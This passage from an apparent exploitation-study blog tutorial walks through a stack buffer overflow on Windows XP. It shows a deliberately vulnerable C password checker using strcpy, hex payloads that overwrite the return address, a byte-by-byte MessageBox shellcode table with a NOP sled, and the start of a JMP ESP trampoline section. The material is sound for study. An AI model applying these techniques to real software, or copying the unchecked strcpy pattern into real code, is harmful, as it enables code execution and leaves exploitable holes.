authenticated;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;main&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; valid_flag &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;char&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;password&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;1024&lt;/span&gt;&lt;span&gt;];&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;FILE &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; fp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt;(fp &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;fopen&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;password.txt&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;rw+&quot;&lt;/span&gt;&lt;span&gt;)))&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;exit&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;fscanf&lt;/span&gt;&lt;span&gt;(fp, &lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;%s&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;, password);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;valid_flag &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;verify_password&lt;/span&gt;&lt;span&gt;(password);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt;(valid_flag)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;ERROR!&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;else&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;OK!&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;fclose&lt;/span&gt;&lt;span&gt;(fp);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h5&gt;Analysis (ExpStd0102)&lt;a href=&quot;#analysis-expstd0102&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h5&gt;&lt;blockquote&gt;&lt;p&gt;First I write the shellcode with a known address. That address depends on the compiler, and the load address differs between systems, so this only works for testing&lt;/p&gt;&lt;/blockquote&gt;&lt;ul&gt;
&lt;li&gt;What we need
&lt;ul&gt;
&lt;li&gt;Address of the success branch: &lt;code&gt;0x0040111F&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Memory stores values in reverse (little endian), so write them backwards&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Edit password.txt in a hex editor like this&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;34 33 32 31 34 33 32 31 34 33 32 31 34 33 32 31&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;1F 11 40 00&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Run the program, and now
&lt;ul&gt;
&lt;li&gt;The stack slot at &lt;code&gt;0x0012FB24&lt;/code&gt; holds the return address of &lt;code&gt;verify_password&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;It has been overwritten with &lt;code&gt;0040111F&lt;/code&gt;, the address of the success branch&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;The success branch address replaced the return address, but the stack is unbalanced, so the program prints success and then crashes&lt;/li&gt;
&lt;/ul&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Adding a payload (shellcode)&lt;a href=&quot;#adding-a-payload-shellcode&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;The buffer is bigger now so it can carry the payload&lt;br /&gt;
A DLL is loaded dynamically so we can call its API&lt;/p&gt;&lt;section&gt;&lt;h5&gt;Code (ExpStd0103)&lt;a href=&quot;#code-expstd0103&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h5&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Note&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Built on: Windows XP SP3, Visual C++ 6, Debug
Run on: Windows XP SP3&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#include&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#include&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;windows.h&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#define&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;PASSWORD&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;1234567&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;verify_password&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;char&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;&lt;span&gt;password&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; authenticated;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;char&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;buffer&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;44&lt;/span&gt;&lt;span&gt;];&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;authenticated &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;strcmp&lt;/span&gt;&lt;span&gt;(password, PASSWORD);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;strcpy&lt;/span&gt;&lt;span&gt;(buffer, password);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; authenticated;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;main&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; valid_flag &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;char&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;password&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;1024&lt;/span&gt;&lt;span&gt;];&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;FILE &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; fp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;LoadLibrary&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;user32.dll&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt;(fp &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;fopen&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;password.txt&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;rw+&quot;&lt;/span&gt;&lt;span&gt;)))&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;exit&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;fscanf&lt;/span&gt;&lt;span&gt;(fp, &lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;%s&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;, password);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;valid_flag &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;verify_password&lt;/span&gt;&lt;span&gt;(password);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt;(valid_flag)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;ERROR!&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;else&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;OK!&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;fclose&lt;/span&gt;&lt;span&gt;(fp);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h5&gt;Analysis (ExpStd0103)&lt;a href=&quot;#analysis-expstd0103&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h5&gt;&lt;blockquote&gt;&lt;p&gt;Goal: plant code during the password check that pops up a MessageBox&lt;/p&gt;&lt;/blockquote&gt;&lt;ul&gt;
&lt;li&gt;What we need
&lt;ul&gt;
&lt;li&gt;Start of the array: &lt;code&gt;0x0012FAF0&lt;/code&gt; (also where the shellcode starts running)&lt;/li&gt;
&lt;li&gt;Address of MessageBoxA: &lt;code&gt;0x77D507EC&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The text in hex: &lt;code&gt;6661696C77657374&lt;/code&gt; (failwest, the string the book uses for its message box)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;The machine code it adds up to&lt;/li&gt;
&lt;/ul&gt;

&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Machine code (hex)&lt;/th&gt;&lt;th&gt;Assembly&lt;/th&gt;&lt;th&gt;Notes&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;33DB&lt;/td&gt;&lt;td&gt;XOR EBX, EBX&lt;/td&gt;&lt;td&gt;Zero EBX so the shellcode has no 0 (terminator) bytes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;53&lt;/td&gt;&lt;td&gt;PUSH EBX&lt;/td&gt;&lt;td&gt;The &lt;code&gt;\0&lt;/code&gt; at the end of the string&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;68 77657374&lt;/td&gt;&lt;td&gt;PUSH 74736577&lt;/td&gt;&lt;td&gt;Push the text bytes west (0x77657374)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;68 6661696C&lt;/td&gt;&lt;td&gt;PUSH 6C696166&lt;/td&gt;&lt;td&gt;Push the text bytes fail (0x6661696C)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8BC4&lt;/td&gt;&lt;td&gt;MOV EAX, ESP&lt;/td&gt;&lt;td&gt;ESP points at the string failwest, hand it to EAX&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;53&lt;/td&gt;&lt;td&gt;PUSH EBX&lt;/td&gt;&lt;td&gt;MB_OK&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;50&lt;/td&gt;&lt;td&gt;PUSH EAX&lt;/td&gt;&lt;td&gt;Message&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;50&lt;/td&gt;&lt;td&gt;PUSH EAX&lt;/td&gt;&lt;td&gt;Caption&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;53&lt;/td&gt;&lt;td&gt;PUSH EBX&lt;/td&gt;&lt;td&gt;Handle&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;B8 EC07D577&lt;/td&gt;&lt;td&gt;MOV EAX, 0x77D507EC&lt;/td&gt;&lt;td&gt;Move the hardcoded address of MessageBoxA into EAX&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;FFD0&lt;/td&gt;&lt;td&gt;CALL EAX&lt;/td&gt;&lt;td&gt;Call MessageBoxA&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;ul&gt;
&lt;li&gt;Write the machine code into password.txt in order
&lt;ul&gt;
&lt;li&gt;Bytes 53-56 get the return address (the start of the buffer), and every other byte is 0x90&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Filling it in and testing, only 2 bytes of space were left at the end. The one imperfect thing is that the program crashes on exit&lt;/li&gt;
&lt;/ul&gt;&lt;blockquote&gt;&lt;p&gt;Here’s the final password.txt&lt;/p&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;33 DB 53 68 77 65 73 74  68 66 61 69 6C 8B C4 53&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;50 50 53 B8 EC 07 D5 77  FF D0 90 90 90 90 90 90&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;90 90 90 90 F0 FA 12 00&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;The weak spots of this approach are the hardcoded addresses and the stack moving around. Let’s fix the stack position first.&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;The ESP trampoline&lt;a href=&quot;#the-esp-trampoline&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Shellcode often doesn’t sit at a fixed place in memory, so you can’t just write in one constant&lt;br /&gt;
In other words, the stack address of that buffer array isn’t always the same&lt;br /&gt;
When the CPU jumps to a stale address it may hit an invalid instruction exception, the program crashes, and the shellcode never runs&lt;/p&gt;&lt;section&gt;&lt;h3&gt;How it works&lt;a href=&quot;#how-it-works&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Find the address of a &lt;code&gt;JMP ESP&lt;/code&gt; instruction in a system DLL the program has already loaded, and overwrite the return address with that&lt;br /&gt;
That pins down where the shellcode is precisely while coping with the stack moving around&lt;br /&gt;
The stack grows from high addresses down, the CPU executes from low addresses to high, and the overflow also floods from low addresses to high&lt;br /&gt;
So you flood the space before it with junk and line up the start of the shellcode exactly at &lt;code&gt;[ESP]&lt;/code&gt;, and the shellcode finds itself wherever the stack happens to be&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Writing the shellcode&lt;a href=&quot;#writing-the-shellcode&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;Layout&lt;a href=&quot;#layout&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Junk + the &lt;code&gt;JMP ESP&lt;/code&gt; address (landing exactly on the function’s return address) + the command code (a MessageBox popup for testing)&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;How it plays out:&lt;/p&gt;&lt;ul&gt;
